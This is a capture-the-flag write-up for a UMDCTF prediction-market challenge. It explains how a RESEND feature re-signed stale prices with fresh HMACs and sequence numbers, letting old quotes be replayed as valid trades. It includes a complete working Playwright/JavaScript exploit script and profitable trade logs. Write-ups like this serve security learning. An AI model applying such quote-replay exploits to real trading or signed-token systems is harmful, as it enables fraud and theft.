$ cat writeup.md…
$ cat writeup.md…
umdctf
Task: a browser prediction market exposed WebTransport protocol docs and HMAC-signed quote tokens for trading. Solution: abuse RESEND, which re-signed historical prices with the current sequence number, to replay stale favorable quotes as fresh ones and grind the balance above the flag threshold.
Predicting the future is now legal in all 50 states.
English summary: the challenge was a prediction market web app. We started with $100, needed to reach 10,000,000 internal units ($1000), and then call the flag purchase action. The intended defense was that every trade had to use a recent HMAC-signed quote, but the resend feature broke that freshness guarantee.
The first useful finding was not in the visible UI, but in the shipped client bundle.
/docs/llms was a decoy./docs contained the real protocol documentation.The service connected to:
https://umdmarket.challs.umdctf.io:4443/wt
with the embedded SHA-256 certificate hash:
ac02c9f7e1558563180ed412dedb9e793fd9b3ab36d64beb7e178283a68a4c9f
client_methods.txt made the binary client logic much easier to reconstruct. It showed the request opcodes, field order, and the fact that trades are not priced freely by the client. Instead, the client must echo back a server-issued signed quote.
The important packet types were:
| Message | Opcode | Fields |
|---|---|---|
QUOTE datagram | 0x01 | seq:uint16, ticker_id:uint16, yes_price:uint16, hmac[8] |
RESEND request | 0x26 | seq:uint16, ticker_id:uint16 |
TRADE request | 0x30 | seq, ticker_id, yes_price, hmac, side:uint8, qty:uint32 |
BUY_FLAG request | 0x50 | available once balance >= 10,000,000 |
The signed QUOTE datagram was the core security primitive. The docs described the intended model as:
MaxAge = 5 ticks.That sounds reasonable if RESEND truly returns the original historical quote unchanged. Then an attacker can recover lost packets, but cannot convert old prices into current valid trade tokens.
Testing showed that RESEND did not return the original quote blob. Instead, it took an old historical price and wrapped it in a new, fresh sequence number with a matching fresh HMAC.
Concrete validation:
0: seq=4, yesPrice=5818RESEND(4, 0) returned success with seq=15, ticker=0, price=5818RESEND(5, 0) returned success with seq=16, ticker=0, price=5828RESEND requests returned status 15That behavior is the bug. The service was supposed to say, effectively, “here is the old quote you missed.” Instead it said, “here is the old price, but blessed as a brand new quote.”
So freshness was enforced only on the current sequence number, not on whether the price itself belonged to that sequence.
TRADE trusted four fields as a signed bundle:
(seq, ticker_id, yes_price, hmac)
The server only needed the bundle to be internally consistent and recent enough. Since RESEND generated a fresh signature over an old yes_price, any historical low or high inside the resend window became tradeable again as if it had just appeared on the wire.
This turned the market into a short-horizon arbitrage oracle:
10000 - yes_price.The earlier idea about uint16 sequence wraparound was a dead end. The real bug was much simpler and more powerful: RESEND was minting fresh signed tokens for stale prices.
The working exploit used Playwright so the browser could speak WebTransport directly with the pinned self-signed certificate. The script:
/wt with the embedded certificate hash,For each ticker, I kept roughly the last 500 quotes, storing:
{ tickerId, rawSeq, logicalSeq, yesPrice }
The script also handled sequence rollover by maintaining a larger logical sequence space, but that was only bookkeeping. The exploit itself depended on the resend window, not on wraparound abuse.
For every ticker buffer:
max / min,(10000 - min) / (10000 - max).If either ratio was good enough, open a position using the better side.
To open a YES position at an old minimum:
RESEND(min_seq, ticker_id),TRADE(resent_seq, ticker_id, old_price, fresh_hmac, BUY_YES, qty).Because the resent quote carried a current sequence number, the server accepted it as fresh.
After the 5 second cooldown, the script repeated the same trick with the best opposite historical price still available in the resend window:
SELL_YES at the historical maximum, orSELL_NO at the historical minimum YES price, which corresponds to a historical maximum NO price.That repeatedly captured spread that should have been impossible if quote freshness had been implemented correctly.
Once the balance exceeded 10,000,000, the exploit sent opcode 0x50 and the server returned the flag.
The successful exploit was tasks/umdctf/umdmarket/resend_window_exploit.py. The core idea is below.
#!/usr/bin/env python3 from __future__ import annotations import random import string from playwright.sync_api import sync_playwright def rand_user() -> str: alphabet = string.ascii_lowercase + string.digits return "user" + "".join(random.choice(alphabet) for _ in range(8)) def rand_password() -> str: alphabet = string.ascii_letters + string.digits + "!@#$%^&*" return "Aa1!" + "".join(random.choice(alphabet) for _ in range(12)) JS_EXPLOIT = r""" async ({username, password}) => { const WT_URL = 'https://umdmarket.challs.umdctf.io:4443/wt'; const CERT_HEX = 'ac02c9f7e1558563180ed412dedb9e793fd9b3ab36d64beb7e178283a68a4c9f'; const FLAG_PRICE = 10_000_000; const TICKER_COUNT = 15; const WINDOW = 500; const COOLDOWN_MS = 5300; const BUY_FRACTION = 0.98; const MIN_BUFFER = 120; const MIN_RATIO = 1.03; const EDGE_GUARD = 20; const enc = new TextEncoder(); function log(msg) { console.log(`[resend] ${msg}`); } function hexToBytes(hex) { const out = new Uint8Array(hex.length / 2); for (let i = 0; i < hex.length; i += 2) out[i / 2] = parseInt(hex.slice(i, i + 2), 16); return out; } function u8(x) { return new Uint8Array([x & 255]); } function u16(x) { const out = new Uint8Array(2); new DataView(out.buffer).setUint16(0, x, true); return out; } function u32(x) { const out = new Uint8Array(4); new DataView(out.buffer).setUint32(0, x >>> 0, true); return out; } function s8(s) { const e = enc.encode(s); const out = new Uint8Array(1 + e.length); out[0] = e.length; out.set(e, 1); return out; } function concat(...parts) { const total = parts.reduce((n, p) => n + p.length, 0); const out = new Uint8Array(total); let off = 0; for (const p of parts) { out.set(p, off); off += p.length; } return out; } async function connect() { const certBytes = hexToBytes(CERT_HEX); const certBuf = new ArrayBuffer(certBytes.length); new Uint8Array(certBuf).set(certBytes); const wt = new WebTransport(WT_URL, { serverCertificateHashes: [{ algorithm: 'sha-256', value: certBuf }], }); await wt.ready; return wt; } async function send(wt, req) { const stream = await wt.createBidirectionalStream(); const writer = stream.writable.getWriter(); await writer.write(req); await writer.close(); const reader = stream.readable.getReader(); const chunks = []; while (true) { const { value, done } = await reader.read(); if (done) break; if (value) chunks.push(value); } const total = chunks.reduce((n, c) => n + c.length, 0); const out = new Uint8Array(total); let off = 0; for (const c of chunks) { out.set(c, off); off += c.length; } return new DataView(out.buffer); } function status(v) { return v.getUint8(0); } function getU16(v, o) { return v.getUint16(o, true); } function getU64(v, o) { return Number(v.getBigUint64(o, true)); } const wt = await connect(); log('connected'); let v = await send(wt, concat(u8(0x20), s8(username), s8(password))); if (status(v) !== 0) throw new Error(`register status=${status(v)}`); let balance = getU64(v, 1); log(`registered ${username} balance=$${(balance / 10000).toFixed(2)}`); v = await send(wt, u8(0x24)); if (status(v) !== 0) throw new Error(`fetch_tickers status=${status(v)}`); let off = 1; const count = getU16(v, off); off += 2; const tickers = []; for (let i = 0; i < count; i++) { const id = getU16(v, off); off += 2; const nlen = v.getUint8(off); off += 1 + nlen; const dlen = getU16(v, off); off += 2 + dlen; tickers.push(id); } for (const id of tickers) { v = await send(wt, concat(u8(0x22), u16(id))); if (status(v) !== 0) throw new Error(`subscribe ${id} status=${status(v)}`); } log(`subscribed ${tickers.length} tickers`); const buffers = Array.from({ length: TICKER_COUNT }, () => []); let rawSeqEpoch = 0; let lastRawSeq = null; let logicalSeq = null; let position = null; let actionLock = false; let lastTradeAt = 0; function pushQuote(tickerId, rawSeq, yesPrice) { if (lastRawSeq !== null && rawSeq < lastRawSeq - 1000) rawSeqEpoch += 65536; lastRawSeq = rawSeq; logicalSeq = rawSeqEpoch + rawSeq; const q = { tickerId, rawSeq, logicalSeq, yesPrice }; const buf = buffers[tickerId]; buf.push(q); const minLogical = logicalSeq - WINDOW; while (buf.length && buf[0].logicalSeq < minLogical) buf.shift(); } function tickerStats(tickerId) { const buf = buffers[tickerId]; if (buf.length < MIN_BUFFER) return null; let minQ = buf[0]; let maxQ = buf[0]; for (const q of buf) { if (q.yesPrice < minQ.yesPrice) minQ = q; if (q.yesPrice > maxQ.yesPrice) maxQ = q; } return { minQ, maxQ }; } function bestOpenCandidate() { let best = null; for (const tid of tickers) { const st = tickerStats(tid); if (!st) continue; const { minQ, maxQ } = st; if (minQ.yesPrice <= EDGE_GUARD || maxQ.yesPrice >= 10000 - EDGE_GUARD) continue; const yesRatio = maxQ.yesPrice / minQ.yesPrice; if (yesRatio >= MIN_RATIO) { const cand = { tickerId: tid, side: 'YES', tradeSide: 0, buySeq: minQ.rawSeq, buyPrice: minQ.yesPrice, ratio: yesRatio }; if (!best || cand.ratio > best.ratio) best = cand; } const noBuy = 10000 - maxQ.yesPrice; const noSell = 10000 - minQ.yesPrice; const noRatio = noSell / noBuy; if (noBuy > EDGE_GUARD && noRatio >= MIN_RATIO) { const cand = { tickerId: tid, side: 'NO', tradeSide: 1, buySeq: maxQ.rawSeq, buyPrice: noBuy, ratio: noRatio }; if (!best || cand.ratio > best.ratio) best = cand; } } return best; } function bestCloseCandidate(pos) { const st = tickerStats(pos.tickerId); if (!st) return null; if (pos.side === 'YES') { return { tradeSide: 2, sellSeq: st.maxQ.rawSeq, ratio: st.maxQ.yesPrice / pos.buyPrice }; } return { tradeSide: 3, sellSeq: st.minQ.rawSeq, ratio: (10000 - st.minQ.yesPrice) / pos.buyPrice }; } async function resendQuote(rawSeq, tickerId) { const res = await send(wt, concat(u8(0x26), u16(rawSeq), u16(tickerId))); const st = status(res); if (st !== 0) return { status: st }; return { status: 0, seq: getU16(res, 1), tickerId: getU16(res, 3), price: getU16(res, 5), hmac: new Uint8Array(res.buffer.slice(7, 15)), }; } async function doTrade(q, tradeSide, qty) { const res = await send(wt, concat(u8(0x30), u16(q.seq), u16(q.tickerId), u16(q.price), q.hmac, u8(tradeSide), u32(qty))); const st = status(res); if (st !== 0) return { status: st }; return { status: 0, newBalance: getU64(res, 3) }; } async function buyFlagIfPossible() { if (balance < FLAG_PRICE) return null; const res = await send(wt, u8(0x50)); if (status(res) !== 0) throw new Error(`buy_flag status=${status(res)}`); const len = getU16(res, 1); return new TextDecoder().decode(new Uint8Array(res.buffer, 3, len)); } async function maybeOpen() { if (position || actionLock || Date.now() - lastTradeAt < COOLDOWN_MS) return null; const cand = bestOpenCandidate(); if (!cand) return null; const qty = Math.floor((balance * BUY_FRACTION) / cand.buyPrice); if (qty <= 0) return null; actionLock = true; try { const q = await resendQuote(cand.buySeq, cand.tickerId); if (q.status !== 0) return null; const tr = await doTrade(q, cand.tradeSide, qty); if (tr.status !== 0) return null; balance = tr.newBalance; lastTradeAt = Date.now(); position = { tickerId: cand.tickerId, side: cand.side, qty, buyPrice: cand.buyPrice }; } finally { actionLock = false; } } async function maybeClose() { if (!position || actionLock || Date.now() - lastTradeAt < COOLDOWN_MS) return null; const cand = bestCloseCandidate(position); if (!cand || cand.ratio <= 1.0) return null; actionLock = true; try { const q = await resendQuote(cand.sellSeq, position.tickerId); if (q.status !== 0) return null; const tr = await doTrade(q, cand.tradeSide, position.qty); if (tr.status !== 0) return null; balance = tr.newBalance; lastTradeAt = Date.now(); position = null; return await buyFlagIfPossible(); } finally { actionLock = false; } } const reader = wt.datagrams.readable.getReader(); while (true) { const { value, done } = await reader.read(); if (done) throw new Error('datagram stream closed'); if (!value || value.length < 1) continue; if (value[0] === 1 && value.length >= 15) { const dv = new DataView(value.buffer, value.byteOffset, value.byteLength); pushQuote(dv.getUint16(3, true), dv.getUint16(1, true), dv.getUint16(5, true)); } let flag = await maybeClose(); if (flag) return { flag, username, password, balance }; flag = await maybeOpen(); if (flag) return { flag, username, password, balance }; } } """ def main() -> None: username = rand_user() password = rand_password() with sync_playwright() as p: browser = p.chromium.launch(headless=True) page = browser.new_page() page.on("console", lambda msg: print(msg.text, flush=True)) page.goto("https://umdmarket.challs.umdctf.io/", wait_until="domcontentloaded", timeout=120000) try: result = page.evaluate(JS_EXPLOIT, {"username": username, "password": password}) print(result, flush=True) finally: browser.close() if __name__ == "__main__": main()
Representative profitable trades from the final exploit:
OPEN YES ticker=8 qty=373 buy=2627 ratio=1.039 balance=$2.01 CLOSE YES ticker=8 qty=373 sell=2751 ratio=1.047 balance=$104.63 OPEN YES ticker=9 qty=656 buy=1561 ratio=1.116 balance=$2.22 CLOSE YES ticker=9 qty=656 sell=1742 ratio=1.116 balance=$116.50 ... OPEN YES ticker=13 qty=4311 buy=2236 ratio=1.183 balance=$19.76 CLOSE YES ticker=13 qty=4311 sell=2645 ratio=1.183 balance=$1160.02 FLAG UMDCTF{REDACTED}
$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar